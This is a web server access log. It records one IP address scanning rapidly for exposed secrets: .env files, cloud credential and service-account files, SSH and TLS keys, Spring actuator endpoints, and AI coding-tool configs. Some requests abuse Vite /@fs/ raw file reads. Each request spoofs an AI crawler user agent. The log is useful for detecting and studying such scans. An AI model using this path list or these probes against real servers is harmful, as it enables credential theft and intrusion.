34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /docker-compose.yaml HTTP/2.0" 200 7008 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 9 **0/9698**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /docker-compose.yml HTTP/2.0" 200 7021 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 4 **0/4958**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /actuator HTTP/2.0" 200 7177 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 10 **0/10734**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /actuator/env HTTP/2.0" 200 7183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 11 **0/11155**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /v1/graphql HTTP/2.0" 200 7061 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5183**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /actuator/mappings HTTP/2.0" 200 7068 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 8 **0/8008**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /api/graphql HTTP/2.0" 200 7022 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5 **0/5972**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /graphql/console HTTP/2.0" 200 7121 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4297**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /graphql HTTP/2.0" 200 7022 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 4 **0/4747**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.openai/config.json HTTP/2.0" 200 7030 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3 **0/3828**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.anthropic/config.json HTTP/2.0" 200 7039 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5879**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.continue/config.json HTTP/2.0" 200 7012 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 5 **0/5146**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.hermes/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 6 **0/6911**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.hermes/config.yaml HTTP/2.0" 200 7030 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7565**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.openclaw/.env HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 14 **0/14502**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.hermes/auth.json HTTP/2.0" 200 7188 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 14 **0/14298**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.cursor/mcp.json HTTP/2.0" 200 7033 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 4 **0/4999**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.claude.json HTTP/2.0" 200 7021 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12042**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /gcp-service.json HTTP/2.0" 200 7005 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 5 **0/5072**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.claude/settings.json HTTP/2.0" 200 7072 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 14 **0/14922**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /.config/anthropic/credentials/default.json HTTP/2.0" 200 7217 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 15 **0/15297**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /actuator/configprops HTTP/2.0" 200 7077 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12086**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /.codex/config.toml HTTP/2.0" 200 7064 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5359**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /__env.js HTTP/2.0" 200 7028 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 9 **0/9848**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /gc-service.json HTTP/2.0" 200 7059 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 15 **0/15638**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /.mcp.json HTTP/2.0" 200 7094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 9 **0/9735**
34.140.123.172 - - [04/Aug/2026:17:49:18 -0700] "GET /.openclaw/openclaw.json HTTP/2.0" 200 6986 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 10 **0/10735**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/.env.development?raw?? HTTP/2.0" 200 7140 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4672**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /gradle.properties HTTP/2.0" 200 7096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4248**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /.gradle/gradle.properties HTTP/2.0" 200 7086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 12 **0/12367**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/.env.local?raw?? HTTP/2.0" 403 10885 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 10 **0/10228**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/.env.production?raw?? HTTP/2.0" 403 10890 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6354**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/root/.aws/credentials?raw?? HTTP/2.0" 200 7029 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 3 **0/3979**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/home/node/.aws/credentials?raw?? HTTP/2.0" 200 7131 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4630**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/app/.env.local?raw?? HTTP/2.0" 403 10889 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4868**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/var/www/html/.env?raw?? HTTP/2.0" 403 10892 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 6 **0/6506**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /config.env HTTP/2.0" 200 7069 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 4 **0/4699**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/app/.env.production?raw?? HTTP/2.0" 403 10894 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7450**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /sendgrid.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 11 **0/11559**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /app/.env.local HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5528**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /secrets.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 6 **0/6228**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/usr/src/app/.env?raw?? HTTP/2.0" 403 10891 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5654**
34.140.123.172 - - [04/Aug/2026:17:49:22 -0700] "GET /@fs/var/www/.env?raw?? HTTP/2.0" 403 10887 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5 **0/5465**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.gitlab-ci.yml HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6619**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /client/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 7 **0/7276**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /app/.env.production HTTP/2.0" 403 10884 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 7 **0/7655**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.env.docker HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 13 **0/13808**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.git/index HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 10 **0/10734**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /google-service-account.json HTTP/2.0" 403 10892 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 9 **0/9644**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /secret.json HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 15 **0/15420**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /service-account-key.json HTTP/2.0" 403 10889 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 16 **0/16269**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /firebase-admin.json HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16677**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /keyfile.json HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 12 **0/12197**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.env.production.bak HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 8 **0/8613**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.env.php.bak HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 9 **0/9899**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /dev/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 8 **0/8164**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /api-keys.json HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 15 **0/15707**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.env.prod.bak HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 22 **0/22015**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /backup/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 12 **0/12426**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /aws-credentials.json HTTP/2.0" 403 10885 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 16 **0/16064**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /service_account.json HTTP/2.0" 403 10885 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 19 **0/19121**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /firebase.json HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9391**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.azure/accessTokens.json HTTP/2.0" 403 10889 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 19 **0/19660**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /creds.json HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 23 **0/23664**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /appsettings.json HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 15 **0/15127**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /appsettings.Production.json HTTP/2.0" 403 10892 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 15 **0/15597**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /.github/workflows/deploy.yml HTTP/2.0" 403 10893 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 14 **0/14590**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /appsettings.Development.json HTTP/2.0" 403 10893 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 24 **0/24197**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /api/config.json HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 14 **0/14352**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /client_secret.json HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 25 **0/25218**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /staging/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 16 **0/16004**
34.140.123.172 - - [04/Aug/2026:17:49:26 -0700] "GET /api/keys.json HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 29 **0/29569**
34.140.123.172 - - [04/Aug/2026:17:49:27 -0700] "GET /production/.env HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4 **0/4980**
34.140.123.172 - - [04/Aug/2026:17:49:27 -0700] "GET /.azure/azureProfile.json HTTP/2.0" 403 10889 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 12 **0/12263**
34.140.123.172 - - [04/Aug/2026:17:49:27 -0700] "GET /firebase-service-account.json HTTP/2.0" 403 10894 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 12 **0/12551**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /api/v2/config HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6319**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /backend/config.json HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12244**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /api/v2/settings HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 13 **0/13793**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /backend/aws.json HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 22 **0/22951**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /app/config.json HTTP/2.0" 403 10880 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 21 **0/21043**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/application.yml HTTP/2.0" 403 10887 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9948**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /secrets/aws.json HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 13 **0/13862**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /api/openapi.json HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 22 **0/22906**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /secrets/gcp.json HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 19 **0/19478**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /backend/service-account.json HTTP/2.0" 403 10893 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 21 **0/21086**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/service-account.json HTTP/2.0" 403 10892 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 36 **0/36844**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/gcp-credentials.json HTTP/2.0" 403 10892 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 25 **0/25788**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/firebase-admin.json HTTP/2.0" 403 10891 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 27 **0/27069**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/settings.py HTTP/2.0" 403 10883 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 19 **0/19206**
34.140.123.172 - - [04/Aug/2026:17:49:30 -0700] "GET /config/application.properties HTTP/2.0" 403 10894 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 14 **0/14405**
34.140.123.172 - - [04/Aug/2026:17:49:31 -0700] "GET /deploy/service-account.json HTTP/2.0" 403 10892 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5902**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config.yml HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 9 **0/9188**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config/storage.yml HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 14 **0/14946**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config/runtime.exs HTTP/2.0" 403 10883 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 12 **0/12836**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /app/settings.py HTTP/2.0" 403 10880 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 10 **0/10017**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /web.config HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 8 **0/8224**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config.py HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 15 **0/15779**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /application.properties HTTP/2.0" 403 10887 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 16 **0/16307**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /ssl/localhost.key HTTP/2.0" 403 10882 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 8 **0/8036**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config.yaml HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 18 **0/18625**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.s3cfg HTTP/2.0" 403 10871 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 16 **0/16716**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /bootstrap.yml HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 10 **0/10439**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /ssl/server.key HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 11 **0/11824**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /backend/settings.py HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 21 **0/21084**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /host.key HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 19 **0/19620**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /rclone.conf HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 11 **0/11452**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /core/settings.py HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 11 **0/11609**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /localhost.key HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 11 **0/11980**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.well-known/jwks.json HTTP/2.0" 403 10886 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 16 **0/16197**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.streamlit/secrets.toml HTTP/2.0" 403 10888 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 16 **0/16269**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /local.settings.json HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 14 **0/14766**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.ssh/known_hosts HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 15 **0/15960**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /secrets.yml HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 15 **0/15317**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.boto HTTP/2.0" 403 10870 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 15 **0/15695**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /configuration.php.bak HTTP/2.0" 403 10886 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 21 **0/21366**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /.ssh/authorized_keys HTTP/2.0" 403 10885 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 17 **0/17812**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /settings.py HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 11 **0/11022**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /instance/config.py HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 8 **0/8338**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config/prod.exs HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7330**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /auth.json HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16196**
